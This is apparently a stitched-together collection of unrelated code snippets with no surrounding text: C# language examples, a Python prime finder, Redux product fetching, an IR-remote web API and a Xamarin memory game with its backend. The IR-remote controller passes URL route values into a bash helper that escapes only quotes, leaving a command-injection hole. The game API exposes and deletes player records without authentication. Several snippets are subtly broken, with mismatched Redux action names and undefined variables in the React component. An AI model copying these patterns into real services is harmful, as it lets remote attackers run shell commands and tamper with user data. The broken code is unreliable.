<pre lang="C#">
    //Retrieve fruits (from any data source)
    var fruits = Fruit.GetFruits();

    //Old way - C#7.0 (Specify names to the Tupel elements)
    var tupelExampleQuery = from fruit in fruits
                            select (Id: fruit.Id, Name: fruit.Name);

    var firstElementOld = tupelExampleQuery.First(); //(int Id, String Name)
    string firstFruitOld = $"First fruit is : Id: {firstElementOld.Id.ToString()}, Name: {firstElementOld.Name}";    
    </pre>


<pre lang="C++">
    public class Parent
    {
        private int private_var { get; set; }
        protected int protected_var { get; set; }
        public int public_var { get; set; }
        internal int internal_var { get; set; }

        internal protected int internal_protected_var { get; set; }
        private protected int private_protected_var { get; set; }
    }
    </pre>


<pre lang="Python">
"""
This script calculates a prime number
"""

# Base class
class CCalculate:
    def __init__(self):
        pass

    def IsEven(self, num):
        if num % 2 == 0:
            return True
        return False

# Derived class
class CPrime(CCalculate):
    def __init__(self, nthPrime):
        self.nthPrime = nthPrime

    # return the nth Prime number
    def GetPrime(self):

        nthPrime = self.nthPrime
        counter = 0
        i = 2

        while counter &lt; nthPrime:
            bPrime = True
            j = 2

            while j &lt; i:
                if i % j == 0:
                    bPrime = False
                    break
                else:
                    j = j + 1
            
            if bPrime is True:
                counter = counter + 1

            # Increase the number
            i = i + 1

            # if the next iteration does not finish the loop or
            # it is an even number then increase it to make it odd
            if counter &lt; nthPrime and self.IsEven(i) is True:
                i = i + 1

        return i - 1

</pre>



<pre lang="JavaScript">
export function fetchProducts() {
  return dispatch =&gt; {
    dispatch(fetchProductsBegin());
    return fetch("/products")
      .then(handleErrors)
      .then(res =&gt; res.json())
      .then(json =&gt; {
        dispatch(fetchProductsSuccess(json.products));
        return json.products;
      })
      .catch(error =&gt; dispatch(fetchProductsFailure(error)));
  };
}

// Handle HTTP errors since fetch won't.
function handleErrors(response) {
  if (!response.ok) {
    throw Error(response.statusText);
  }
  return response;
}</pre>


<pre lang="JavaScript">
export const FETCH_PRODUCTS_BEGIN   = 'FETCH_PRODUCTS_BEGIN';
export const FETCH_PRODUCTS_SUCCESS = 'FETCH_PRODUCTS_SUCCESS';
export const FETCH_PRODUCTS_FAILURE = 'FETCH_PRODUCTS_FAILURE';

export const fetchProductsBegin = () =&gt; ({
  type: FETCH_PRODUCTS_BEGIN
});

export const fetchProductsSuccess = products =&gt; ({
  type: FETCH_PRODUCTS_SUCCESS,
  payload: { products }
});

export const fetchProductsError = error =&gt; ({
  type: FETCH_PRODUCTS_FAILURE,
  payload: { error }
});</pre>


<pre lang="JavaScript">
import {
  FETCH_PRODUCTS_BEGIN,
  FETCH_PRODUCTS_SUCCESS,
  FETCH_PRODUCTS_FAILURE
} from './productActions';

const initialState = {
  items: [],
  loading: false,
  error: null
};

export default function productReducer(state = initialState, action) {
  switch(action.type) {
    case FETCH_PRODUCTS_BEGIN:
      // Mark the state as "loading" so we can show a spinner or something
      // Also, reset any errors. We're starting fresh.
      return {
        ...state,
        loading: true,
        error: null
      };

    case FETCH_PRODUCTS_SUCCESS:
      // All done: set loading "false".
      // Also, replace the items with the ones from the server
      return {
        ...state,
        loading: false,
        items: action.payload.products
      };

    case FETCH_PRODUCTS_ERROR:
      // The request failed, but it did stop, so set loading to "false".
      // Save the error, and we can display it somewhere
      // Since it failed, we don't have items to display anymore, so set it empty.
      // This is up to you and your app though: maybe you want to keep the items
      // around! Do whatever seems right.
      return {
        ...state,
        loading: false,
        error: action.payload.error,
        items: []
      };

    default:
      // ALWAYS have a default case in a reducer
      return state;
  }
}</pre>


<pre lang="React">
import React from "react";
import { connect } from "react-redux";
import { fetchProducts } from "productActions";

class ProductList extends React.Component {
  render() {
    if (error) {
      return &lt;div&gt;Error! {error.message}&lt;/div&gt;;
    }

    if (loading) {
      return &lt;div&gt;Loading...&lt;/div&gt;;
    }

    return (
      &lt;ul&gt;
        {products.map(product =&gt;
          &lt;li key={product.id}&gt;{product.name}&lt;/li&gt;
        )}
      &lt;/ul&gt;
    );
  }
}

const mapStateToProps = state =&gt; ({
  products: state.products.items,
  loading: state.products.loading,
  error: state.products.error
});

export default connect(mapStateToProps)(ProductList);</pre>


<pre lang="C#">
public class RemoteApiController : Controller
{ 
    /// &lt;summary&gt;
    /// 
    /// &lt;/summary&gt;
    /// &lt;remarks&gt;returns ir code from remote&lt;/remarks&gt;
    /// &lt;param name="remote"&gt;Lirc remote&lt;/param&gt;
    /// &lt;param name="code"&gt;ir code&lt;/param&gt;
    /// &lt;response code="200"&gt;All the codes&lt;/response&gt;
    [HttpGet]
    [Route("/motta/home/1.0.1/remotes/{remote}/{code}")]
    [ValidateModelState]
    [SwaggerOperation("GetRemoteCode")]
    [SwaggerResponse(200, typeof(List&lt;string&gt;), "All the codes")]
    public virtual IActionResult GetRemoteCode([FromRoute]string remote, [FromRoute]string code)
    {
        string example = ("/usr/bin/irsend list " + remote + " " + code).Bash();

        return new ObjectResult(example);
    }

    /// &lt;summary&gt;
    /// 
    /// &lt;/summary&gt;
    /// &lt;remarks&gt;returns all ir codes from remote&lt;/remarks&gt;
    /// &lt;param name="remote"&gt;Lirc remote&lt;/param&gt;
    /// &lt;response code="200"&gt;All the codes&lt;/response&gt;
    [HttpGet]
    [Route("/motta/home/1.0.1/remotes/{remote}")]
    [ValidateModelState]
    [SwaggerOperation("GetRemoteCodes")]
    [SwaggerResponse(200, typeof(List&lt;string&gt;), "All the codes")]
    public virtual IActionResult GetRemoteCodes([FromRoute]string remote)
    {
        string example = (@"/usr/bin/irsend list " + remote + @" """"").Bash();

        return new ObjectResult(example);
    }

    /// &lt;summary&gt;
    /// 
    /// &lt;/summary&gt;
    /// &lt;remarks&gt;returns all installed remotes&lt;/remarks&gt;
    /// &lt;param name="skip"&gt;number of records to skip&lt;/param&gt;
    /// &lt;param name="limit"&gt;max number of records to return&lt;/param&gt;
    /// &lt;response code="200"&gt;All the installed remotes&lt;/response&gt;
    [HttpGet]
    [Route("/motta/home/1.0.1/remotes")]
    [ValidateModelState]
    [SwaggerOperation("GetRemotes")]
    [SwaggerResponse(200, typeof(List&lt;string&gt;), "All the installed remotes")]
    public virtual IActionResult GetRemotes([FromQuery]int? skip, [FromQuery]int? limit)
    {
        string example = (@"/usr/bin/irsend list """" """"").Bash();

        return new ObjectResult(example);
    }

    /// &lt;summary&gt;
    /// 
    /// &lt;/summary&gt;
    /// &lt;remarks&gt;flashes ir code simulating the remote control&lt;/remarks&gt;
    /// &lt;param name="remote"&gt;Lirc remote&lt;/param&gt;
    /// &lt;param name="code"&gt;ir code&lt;/param&gt;
    /// &lt;response code="200"&gt;response&lt;/response&gt;
    [HttpPost]
    [Route("/motta/home/1.0.1/remotes/{remote}/{code}")]
    [ValidateModelState]
    [SwaggerOperation("SendRemoteCode")]
    [SwaggerResponse(200, typeof(ApiResponse), "response")]
    public virtual IActionResult SendRemoteCode([FromRoute]string remote, [FromRoute]string code)
    {
        string example = (@"/usr/bin/irsend send_once " + remote + " " + code).Bash();

        return new ObjectResult(example);
    }
}
</pre>


<pre lang="C#">
public static class ShellHelper
{
    public static string Bash(this string cmd)
    {
        var escapedArgs = cmd.Replace("\"", "\\\"");

        var process = new Process()
        {
            StartInfo = new ProcessStartInfo
            {
                FileName = "/bin/bash",
                Arguments = $"-c \"{escapedArgs}\"",
                RedirectStandardOutput = true,
                UseShellExecute = false,
                CreateNoWindow = true,
            }
        };
        process.Start();
        string result = process.StandardOutput.ReadToEnd();
        process.WaitForExit();
        return result;
    }
}
</pre>



<pre lang="SQL">
CREATE Database MemoryGame
GO

USE [MemoryGame]
GO

CREATE TABLE [dbo].[Challenger](
    [ChallengerID] [int] IDENTITY(1,1) NOT NULL,
    [FirstName] [varchar](50) NOT NULL,
    [LastName] [varchar](50) NOT NULL,
    [Email] [varchar](50) NULL,
CONSTRAINT [PK_Challenger] PRIMARY KEY CLUSTERED 
(
    [ChallengerID] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, 
            IGNORE_DUP_KEY = OFF, 
            ALLOW_ROW_LOCKS  = ON, 
            ALLOW_PAGE_LOCKS  = ON) 
            ON [PRIMARY]
) ON [PRIMARY]

GO

CREATE TABLE [dbo].[Rank](
    [RankID] [int] IDENTITY(1,1) NOT NULL,
    [ChallengerID] [int] NOT NULL,
    [Best] [tinyint] NOT NULL,
    [DateAchieved] [datetime] NOT NULL,
 CONSTRAINT [PK_Rank] PRIMARY KEY CLUSTERED 
(
    [RankID] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, 
            IGNORE_DUP_KEY = OFF, 
            ALLOW_ROW_LOCKS  = ON, 
            ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]

GO</pre>


<pre lang="C#">
using System;
using System.Collections.Generic;
using System.Linq;
using MemoryGame.API.Models.DB;

namespace MemoryGame.API.Models.DataManager
{
    #region DTO
    public class ChallengerViewModel
    {
        public int ChallengerID { get; set; }
        public string FirstName { get; set; }
        public string LastName { get; set; }
        public byte Best { get; set; }
        public DateTime DateAchieved { get; set; }
    }
    #endregion

    #region HTTP Response Object
    public class HTTPApiResponse
    {
        public enum StatusResponse
        {
            Success = 1,
            Fail = 2
        }

        public StatusResponse Status { get; set; }
        public string StatusDescription { get; set; }
    }
    #endregion

    #region Data Access
    public class GameManager
    {
        public IEnumerable&lt;ChallengerViewModel&gt; GetAll { get { return GetAllChallengerRank(); } }

        public List&lt;ChallengerViewModel&gt; GetAllChallengerRank()
        {

            using (MemoryGameEntities db = new MemoryGameEntities())
            {
                var result = (from c in db.Challengers
                              join r in db.Ranks on c.ChallengerID equals r.ChallengerID
                              select new ChallengerViewModel
                              {
                                  ChallengerID = c.ChallengerID,
                                  FirstName = c.FirstName,
                                  LastName = c.LastName,
                                  Best = r.Best,
                                  DateAchieved = r.DateAchieved
                              }).OrderByDescending(o =&gt; o.Best).ThenBy(o =&gt; o.DateAchieved);

                return result.ToList();
            }
        }


        public HTTPApiResponse UpdateCurrentBest(DB.Rank user)
        {
            using (MemoryGameEntities db = new MemoryGameEntities())
            {
                var data = db.Ranks.Where(o =&gt; o.ChallengerID == user.ChallengerID);
                if (data.Any())
                {
                    Rank rank = data.FirstOrDefault();
                    rank.Best = user.Best;
                    rank.DateAchieved = user.DateAchieved;
                    db.SaveChanges();
                }
                else
                {
                    db.Ranks.Add(user);
                    db.SaveChanges();
                }
            }

            return new HTTPApiResponse
            {
                Status = HTTPApiResponse.StatusResponse.Success,
                StatusDescription = "Operation successful."
            };
        }

        public int GetChallengerID(string email)
        {
            using (MemoryGameEntities db = new MemoryGameEntities())
            {
                var data = db.Challengers.Where(o =&gt; o.Email.ToLower().Equals(email.ToLower()));
                if (data.Any())
                {
                    return data.FirstOrDefault().ChallengerID;
                }

                return 0;
            }
        }

        public HTTPApiResponse AddChallenger(DB.Challenger c)
        {
            HTTPApiResponse response = null;
            using (MemoryGameEntities db = new MemoryGameEntities())
            {
                var data = db.Challengers.Where(o =&gt; o.Email.ToLower().Equals(c.Email.ToLower()));
                if (data.Any())
                {
                    response =  new HTTPApiResponse
                    {
                        Status = HTTPApiResponse.StatusResponse.Fail,
                        StatusDescription = "User with associated email already exist."
                    }; 
                }
                else
                {
                    db.Challengers.Add(c);
                    db.SaveChanges();

                    response = new HTTPApiResponse
                    {
                        Status = HTTPApiResponse.StatusResponse.Success,
                        StatusDescription = "Operation successful."
                    };
                }

                return response;
            }
        }

        public ChallengerViewModel GetChallengerByEmail(string email)
        {
            using (MemoryGameEntities db = new MemoryGameEntities())
            {
                var result = (from c in db.Challengers
                              join r in db.Ranks on c.ChallengerID equals r.ChallengerID
                              where c.Email.ToLower().Equals(email.ToLower())
                              select new ChallengerViewModel
                              {
                                  ChallengerID = c.ChallengerID,
                                  FirstName = c.FirstName,
                                  LastName = c.LastName,
                                  Best = r.Best,
                                  DateAchieved = r.DateAchieved
                              });
                if (result.Any())
                    return result.SingleOrDefault();
            }
            return new ChallengerViewModel();
        }

        public HTTPApiResponse DeleteChallenger(int id)
        {
            HTTPApiResponse response = null;
            using (MemoryGameEntities db = new MemoryGameEntities())
            {
                var data = db.Challengers.Where(o =&gt; o.ChallengerID == id);
                if (data.Any())
                {
                    try
                    {
                        var rankData = db.Ranks.Where(o =&gt; o.ChallengerID == id);
                        if (rankData.Any())
                        {
                            db.Ranks.Remove(rankData.FirstOrDefault());
                            db.SaveChanges();
                        }

                        db.Challengers.Remove(data.FirstOrDefault());
                        db.SaveChanges();

                        response = new HTTPApiResponse
                        {
                            Status = HTTPApiResponse.StatusResponse.Success,
                            StatusDescription = "Operation successful."
                        };
                    }
                    catch (System.Data.Entity.Validation.DbUnexpectedValidationException)
                    {
                        //do stuff
                        response = new HTTPApiResponse
                        {
                            Status = HTTPApiResponse.StatusResponse.Fail,
                            StatusDescription = "An unexpected error occured."
                        };
                    }
                }
                else
                {
                    response = new HTTPApiResponse
                    {
                        Status = HTTPApiResponse.StatusResponse.Fail,
                        StatusDescription = "Associated ID not found."
                    };
                }

                return response;
            }
        }
    }
    #endregion
}
</pre>


<pre lang="C#">
using MemoryGame.API.Models.DataManager;
using MemoryGame.API.Models.DB;
using System.Collections.Generic;
using System.Web.Http;

namespace MemoryGame.API.API
{
    public class GameController : ApiController
    {
        GameManager _gm; 
        public GameController()
        {
            _gm = new GameManager();
        }

        public IEnumerable&lt;ChallengerViewModel&gt; Get()
        {
            return _gm.GetAll;
        }

        [HttpPost]
        public HTTPApiResponse AddPlayer(Challenger user)
        {
            return _gm.AddChallenger(user);
        }

        [HttpPost]
        public void AddScore(Rank user)
        {
            _gm.UpdateCurrentBest(user);
        }

        [HttpPost]
        public HTTPApiResponse DeletePlayer(int id)
        {
            return _gm.DeleteChallenger(id);
        }

        public int GetPlayerID(string email)
        {
            return _gm.GetChallengerID(email);
        }

        public ChallengerViewModel GetPlayerProfile(string email)
        {
            return _gm.GetChallengerByEmail(email);
        }
    }
}
</pre>


<pre lang="C#">
using System;
using System.Text;
using System.Threading.Tasks;
using Newtonsoft.Json;
using MemoryGame.App.Classes;
using System.Net.Http;

namespace MemoryGame.App.REST
{
    public class GameAPI
    {
        private const string APIUri = "&lt;YOUR API URI&gt;"; //replace this value with the published URI to where your API is hosted. E.g http://yourdomain.com/yourappname/api/game
        HttpClient client;
        public GameAPI()
        {
            client = new HttpClient();
            client.DefaultRequestHeaders.Host = "yourdomain.com"; //replace this value with the actual domain
            client.MaxResponseContentBufferSize = 256000;
        }

        public async Task&lt;bool&gt; SavePlayerProfile(PlayerProfile data, bool isNew = false)
        {
            var uri = new Uri($"{APIUri}/AddPlayer");

            var json = JsonConvert.SerializeObject(data);
            var content = new StringContent(json, Encoding.UTF8, "application/json");

            HttpResponseMessage response = null;
            if (isNew)
                response = await ProcessPostAsync(uri, content);


            if (response.IsSuccessStatusCode)
            {
                Settings.IsProfileSync = true;
                return true;
            }

            return false;
        }

        public async Task&lt;bool&gt; SavePlayerScore(PlayerScore data)
        {
            var uri = new Uri($"{APIUri}/AddScore");

            var json = JsonConvert.SerializeObject(data);
            var content = new StringContent(json, Encoding.UTF8, "application/json");
            var response = await ProcessPostAsync(uri, content);

            if (response.IsSuccessStatusCode)
                return true;

            return false;
        }

        public async Task&lt;int&gt; GetPlayerID(string email)
        {
            var uri = new Uri($"{APIUri}/GetPlayerID?email={email}");
            int id = 0;

            var response = await ProcessGetAsync(uri);
            if (response.IsSuccessStatusCode)
            {
                var content = await response.Content.ReadAsStringAsync();
                id = JsonConvert.DeserializeObject&lt;int&gt;(content);
            }

            return id;
        }

        public async Task&lt;PlayerData&gt; GetPlayerData(string email)
        {
            var uri = new Uri($"{APIUri}/GetPlayerProfile?email={email}");
            PlayerData player = null;

            var response = await ProcessGetAsync(uri);
            if (response.IsSuccessStatusCode)
            {
                player = new PlayerData();
                var content = await response.Content.ReadAsStringAsync();
                player = JsonConvert.DeserializeObject&lt;PlayerData&gt;(content);
            }

            return player;
        }

        private async Task&lt;HttpResponseMessage&gt; ProcessPostAsync(Uri uri, StringContent content)
        {
            return await client.PostAsync(uri, content); ;
        }

        private async Task&lt;HttpResponseMessage&gt; ProcessGetAsync(Uri uri)
        {
            return await client.GetAsync(uri);
        }
    }
}

</pre>


<pre lang="C#">
namespace MemoryGame.App.Services
{
    public interface ILocalDataStore
    {
        void SaveSettings(string fileName, string text);
        string LoadSettings(string fileName);
    }
}
</pre>


<pre lang="C#">
using Plugin.Settings;
using Plugin.Settings.Abstractions;
using System;

namespace MemoryGame.App.Classes
{
    public static class Settings
    {
        private static ISettings AppSettings =&gt; CrossSettings.Current;

        public static string PlayerFirstName
        {
            get =&gt; AppSettings.GetValueOrDefault(nameof(PlayerFirstName), string.Empty);
            set =&gt; AppSettings.AddOrUpdateValue(nameof(PlayerFirstName), value);
        }

        public static string PlayerLastName
        {
            get =&gt; AppSettings.GetValueOrDefault(nameof(PlayerLastName), string.Empty);
            set =&gt; AppSettings.AddOrUpdateValue(nameof(PlayerLastName), value);
        }

        public static string PlayerEmail
        {
            get =&gt; AppSettings.GetValueOrDefault(nameof(PlayerEmail), string.Empty);
            set =&gt; AppSettings.AddOrUpdateValue(nameof(PlayerEmail), value);
        }

        public static int TopScore
        {
            get =&gt; AppSettings.GetValueOrDefault(nameof(TopScore), 1);
            set =&gt; AppSettings.AddOrUpdateValue(nameof(TopScore), value);
        }

        public static DateTime DateAchieved
        {
            get =&gt; AppSettings.GetValueOrDefault(nameof(DateAchieved), DateTime.UtcNow);
            set =&gt; AppSettings.AddOrUpdateValue(nameof(DateAchieved), value);
        }

        public static bool IsProfileSync
        {
            get =&gt; AppSettings.GetValueOrDefault(nameof(IsProfileSync), false);
            set =&gt; AppSettings.AddOrUpdateValue(nameof(IsProfileSync), value);
        }

        public static int PlayerID
        {
            get =&gt; AppSettings.GetValueOrDefault(nameof(PlayerID), 0);
            set =&gt; AppSettings.AddOrUpdateValue(nameof(PlayerID), value);
        }

    }
}
</pre>


<pre lang="C#">
using Plugin.Connectivity;

namespace MemoryGame.App.Helper
{
    public static class StringExtensions
    {
        public static int ToInteger(this string numberString)
        {
            int result = 0;
            if (int.TryParse(numberString, out result))
                return result;
            return 0;
        }
    }


    public static class Utils
    {
        public static bool IsConnectedToInternet()
        {
            return CrossConnectivity.Current.IsConnected;
        }
    }
}
</pre>


<pre lang="C#">
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace MemoryGame.App.Classes
{
    #region API DTO's
    public class PlayerProfile
    {
        public string FirstName { get; set; }
        public string LastName { get; set; }
        public string Email { get; set; }
    }

    public class PlayerScore
    {
        public int ChallengerID { get; set; }
        public byte Best { get; set; }
        public DateTime DateAchieved { get; set; }
    }

    public class PlayerData
    {
        public string FirstName { get; set; }
        public string LastName { get; set; }
        public byte Best { get; set; }
        public DateTime DateAchieved { get; set; }
    }

    #endregion

    public static class PlayerManager
    {
        public static void Save(PlayerProfile player)
        {
            Settings.PlayerFirstName = player.FirstName;
            Settings.PlayerLastName = player.LastName;
            Settings.PlayerEmail = player.Email;
        }

        public static PlayerProfile GetPlayerProfileFromLocal()
        {
            return new PlayerProfile
            {
                FirstName = Settings.PlayerFirstName,
                LastName = Settings.PlayerLastName,
                Email = Settings.PlayerEmail
            };
        }

        public static PlayerScore GetPlayerScoreFromLocal()
        {
            return new PlayerScore
            {
                ChallengerID = Settings.PlayerID,
                Best = Convert.ToByte(Settings.TopScore),
                DateAchieved = Settings.DateAchieved
            };
        }

        public static void UpdateBest(int score)
        {
            if (Settings.TopScore &lt; score)
            {
                Settings.TopScore = score;
                Settings.DateAchieved = DateTime.UtcNow;
            }
        }

        public static int GetBestScore(int currentLevel)
        {
            if (Settings.TopScore &gt; currentLevel)
                return Settings.TopScore;
            else
                return currentLevel;
        }

        public async static Task&lt;bool&gt; Sync()
        {
            REST.GameAPI api = new REST.GameAPI();
            bool result = false;

            try
            {
                if (!Settings.IsProfileSync)
                    result = await api.SavePlayerProfile(PlayerManager.GetPlayerProfileFromLocal(), true);

                if (Settings.PlayerID == 0)
                    Settings.PlayerID = await api.GetPlayerID(Settings.PlayerEmail);

                result = await api.SavePlayerScore(PlayerManager.GetPlayerScoreFromLocal());

            }
            catch
            {
                return result;
            }

            return result;
        }

        public async static Task&lt;bool&gt; CheckScoreAndSync(int score)
        {
            if (Settings.TopScore &lt; score)
            {
                UpdateBest(score);
                if (Utils.IsConnectedToInternet())
                {
                    var response = await Sync();
                    return response == true ? true : false;
                }
                else
                    return false;
            }
            else
                return false;
        }

        public async static Task&lt;PlayerData&gt; CheckExistingPlayer(string email)
        {
            REST.GameAPI api = new REST.GameAPI();
            PlayerData player = new PlayerData();

            if (Utils.IsConnectedToInternet())
            {
                player = await api.GetPlayerData(email);
            }

            return player;
        }
    }
}
</pre>


<pre lang="XML">
&lt;?xml version="1.0" encoding="utf-8" ?&gt;
&lt;ContentPage xmlns="http://xamarin.com/schemas/2014/forms"
             xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
             x:Class="MemoryGame.App.Pages.Register"&gt;

  &lt;StackLayout VerticalOptions="CenterAndExpand"&gt;
    &lt;Label Text="Working Memory Game"
          FontSize="30"
          HorizontalOptions="Center"
          VerticalOptions="CenterAndExpand" /&gt;

    &lt;Label x:Name="lblWelcome" Text="Register to start the fun, or Log-on to continue the challenge!"
          FontSize="20"
          HorizontalOptions="Center"
          VerticalOptions="CenterAndExpand" /&gt;
    &lt;StackLayout x:Name="layoutChoose" Orientation="Horizontal" Spacing="5" VerticalOptions="CenterAndExpand" HorizontalOptions="Center"&gt;
      &lt;Button x:Name="btnNew"
           Text="Register"
           FontSize="20"
           HorizontalOptions="Center"
           VerticalOptions="CenterAndExpand"
           Clicked="OnbtnNewClicked"/&gt;
      &lt;Button x:Name="btnReturn"
           Text="Log-on"
           FontSize="20"
           HorizontalOptions="Center"
           VerticalOptions="CenterAndExpand"
           Clicked="OnbtnReturnClicked"/&gt;
    &lt;/StackLayout&gt;

    &lt;StackLayout x:Name="layoutRegister" VerticalOptions="CenterAndExpand" IsVisible="False"&gt;
      &lt;Label Text="First Name" /&gt;
      &lt;Entry  x:Name="entryFirstName" /&gt;
      &lt;Label Text="Last Name" /&gt;
      &lt;Entry  x:Name="entryLastName" /&gt;
      &lt;Label Text="Email" /&gt;
      &lt;Entry  x:Name="entryEmail" /&gt;

      &lt;StackLayout  Orientation="Horizontal" Spacing="3" HorizontalOptions="Center"&gt;
        &lt;Button x:Name="btnRegister"
               Text="Let's Do This!"
               HorizontalOptions="Center"
               VerticalOptions="CenterAndExpand"
               Clicked="OnbtnRegisterClicked"/&gt;
        &lt;Button x:Name="btnCancelRegister"
               Text="Cancel"
               HorizontalOptions="Center"
               VerticalOptions="CenterAndExpand"
               Clicked="OnbtnCancelRegisterClicked"/&gt;
      &lt;/StackLayout&gt;
    &lt;/StackLayout&gt;

    &lt;StackLayout x:Name="layoutLogin" VerticalOptions="CenterAndExpand" IsVisible="False"&gt;
      &lt;Label Text="Email" /&gt;
      &lt;Entry  x:Name="entryExistingEmail" /&gt;

      &lt;StackLayout  Orientation="Horizontal" Spacing="3" HorizontalOptions="Center"&gt;
        &lt;Button x:Name="btnLogin"
               Text="Let me in!"
               HorizontalOptions="Center"
               VerticalOptions="CenterAndExpand"
               Clicked="OnbtnLoginClicked"/&gt;
        &lt;Button x:Name="btnCancelLogin"
               Text="Cancel"
               HorizontalOptions="Center"
               VerticalOptions="CenterAndExpand"
               Clicked="OnbtnCancelLoginClicked"/&gt;
      &lt;/StackLayout&gt;
    &lt;/StackLayout&gt;
  &lt;/StackLayout&gt;
&lt;/ContentPage&gt;
</pre>


<pre lang="C#">
using System;
using Xamarin.Forms;
using MemoryGame.App.Classes;
using System.Threading.Tasks;
using MemoryGame.App.Helper;

namespace MemoryGame.App.Pages
{
    public partial class Register : ContentPage
    {
        public Register()
        {
            InitializeComponent();
        }

        enum EntryOption
        {
            Register = 0,
            Returning = 1,
            Cancel = 2
        }

        protected override void OnAppearing()
        {
            base.OnAppearing();
            NavigationPage.SetHasBackButton(this, false);
        }
        async void CheckExistingProfileAndSave(string email)
        {
            if (Utils.IsConnectedToInternet())
            {
                try
                {
                    PlayerData player = await PlayerManager.CheckExistingPlayer(email);
                    if (string.IsNullOrEmpty(player.FirstName) &amp;&amp; string.IsNullOrEmpty(player.LastName))
                    {
                        await App.Current.MainPage.DisplayAlert("Error", "Email does not exist.", "OK");
                    }
                    else
                    {
                        Settings.PlayerFirstName = player.FirstName.Trim();
                        Settings.PlayerLastName = player.LastName.Trim();
                        Settings.PlayerEmail = email.Trim();
                        Settings.TopScore = player.Best;
                        Settings.DateAchieved = player.DateAchieved;

                        await App._navPage.PopAsync();
                    }
                }
                catch
                {
                    await App.Current.MainPage.DisplayAlert("Oops", "An error occured while connecting to the server. Please check your connection.", "OK");
                }
            }
            else
            {
                await App.Current.MainPage.DisplayAlert("Error", "No internet connection.", "OK");
            }

            btnLogin.IsEnabled = true;
        }

        void Save()
        {
            Settings.PlayerFirstName = entryFirstName.Text.Trim();
            Settings.PlayerLastName = entryLastName.Text.Trim();
            Settings.PlayerEmail = entryEmail.Text.Trim();
            App._navPage.PopAsync();
        }

        void ToggleEntryView(EntryOption option)
        {
            switch (option)
            {
                case EntryOption.Register:
                    {
                        lblWelcome.IsVisible = false;
                        layoutChoose.IsVisible = false;
                        layoutLogin.IsVisible = false;
                        layoutRegister.IsVisible = true;
                        break;
                    }
                case EntryOption.Returning:
                    {
                        lblWelcome.IsVisible = false;
                        layoutChoose.IsVisible = false;
                        layoutRegister.IsVisible = false;
                        layoutLogin.IsVisible = true;
                        break;
                    }
                case EntryOption.Cancel:
                    {
                        lblWelcome.IsVisible = true;
                        layoutChoose.IsVisible = true;
                        layoutRegister.IsVisible = false;
                        layoutLogin.IsVisible = false;
                        break;
                    }
            }
        }
        void OnbtnNewClicked(object sender, EventArgs args)
        {
            ToggleEntryView(EntryOption.Register);
        }
        void OnbtnReturnClicked(object sender, EventArgs args)
        {
            ToggleEntryView(EntryOption.Returning);
        }
        void OnbtnCancelLoginClicked(object sender, EventArgs args)
        {
            ToggleEntryView(EntryOption.Cancel);
        }
        void OnbtnCancelRegisterClicked(object sender, EventArgs args)
        {
            ToggleEntryView(EntryOption.Cancel);
        }

        void OnbtnRegisterClicked(object sender, EventArgs args)
        {
            if (string.IsNullOrEmpty(entryFirstName.Text) || string.IsNullOrEmpty(entryLastName.Text) || string.IsNullOrEmpty(entryEmail.Text))
                App.Current.MainPage.DisplayAlert("Error", "Please supply the required fields.", "Got it");
            else
                Save();
        }

        void OnbtnLoginClicked(object sender, EventArgs args)
        {
            if (string.IsNullOrEmpty(entryExistingEmail.Text))
                App.Current.MainPage.DisplayAlert("Error", "Please supply your email.", "Got it");
            else
            {
                btnLogin.IsEnabled = false;
                CheckExistingProfileAndSave(entryExistingEmail.Text);
            }
        }
    }
}
</pre>


<pre lang="XML">
&lt;?xml version="1.0" encoding="utf-8" ?&gt;
&lt;ContentPage xmlns="http://xamarin.com/schemas/2014/forms"
             xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
             x:Class="MemoryGame.App.Pages.Home"&gt;

  &lt;StackLayout Padding="10"&gt;
    &lt;StackLayout&gt;
      &lt;StackLayout Orientation="Horizontal"&gt;
        &lt;Label x:Name="lblBest" FontSize="20" HorizontalOptions="StartAndExpand" /&gt;
        &lt;Button x:Name="btnSync" Text="Sync" Clicked="OnbtnSyncClicked" HorizontalOptions="EndAndExpand" VerticalOptions="CenterAndExpand" /&gt;
      &lt;/StackLayout&gt;

      &lt;Label x:Name="lblTime"
           FontSize="30"
           HorizontalOptions="Center"
           VerticalOptions="CenterAndExpand" /&gt;
    &lt;/StackLayout&gt;

    &lt;Label x:Name="lblLevel"
           FontSize="30"
           HorizontalOptions="Center"
           VerticalOptions="CenterAndExpand" /&gt;
    &lt;StackLayout Orientation="Horizontal" Spacing="3" HorizontalOptions="Center" BackgroundColor="White"&gt;
      &lt;Image x:Name="imgLightOff" Source="lightoff.png" WidthRequest="100" HeightRequest="40" /&gt;
      &lt;Image x:Name="imgLightOff2" Source="lightoff.png" IsVisible="False" WidthRequest="100" HeightRequest="40" /&gt;
      &lt;Image x:Name="imgLightOn" Source="lighton.png" IsVisible="False" WidthRequest="100" HeightRequest="40" /&gt;
      &lt;Image x:Name="imgSpeaker" Source="speakeron.png" WidthRequest="100" HeightRequest="40" /&gt;
      &lt;Image x:Name="imgHaptic" Source="vibration.png" WidthRequest="100" HeightRequest="40" /&gt;
    &lt;/StackLayout&gt;
    &lt;Label Text="The light will blink on, the speaker will beep and the device will vibrate at different times. Try to count how many times each one happens."
           HorizontalOptions="Center"
           VerticalOptions="CenterAndExpand" /&gt;

    &lt;Button x:Name="btnStart"
            Text="Start"
            HorizontalOptions="Center"
            VerticalOptions="CenterAndExpand"
            Clicked="OnButtonClicked"/&gt;
  &lt;/StackLayout&gt;

&lt;/ContentPage&gt;
</pre>


<pre lang="C#">
using System;
using System.Threading.Tasks;
using MemoryGame.App.Classes;
using Xamarin.Forms;
using MemoryGame.App.Services;
using MemoryGame.App.Helper;

namespace MemoryGame.App.Pages
{
    public partial class Home : ContentPage
    {
        private static int _blinkCount = 0;
        private static int _soundCount = 0;
        private static int _hapticCount = 0;
        private static int _level = 1;

        public int _cycleStartInMS = 0;
        public int _cycleMaxInMS = 7000; // 7 seconds
        private const int CycleIntervalInMS = 2000; // 2 seconds
        private const int PlayTimeCount = 3; // 3 types default

        enum PlayType
        {
            Blink = 0,
            Sound = 1,
            Haptic = 2
        }

        public static int CurrentGameBlinkCount
        {
            get { return _blinkCount; }
        }

        public static int CurrentGameSoundCount
        {
            get { return _soundCount; }
        }

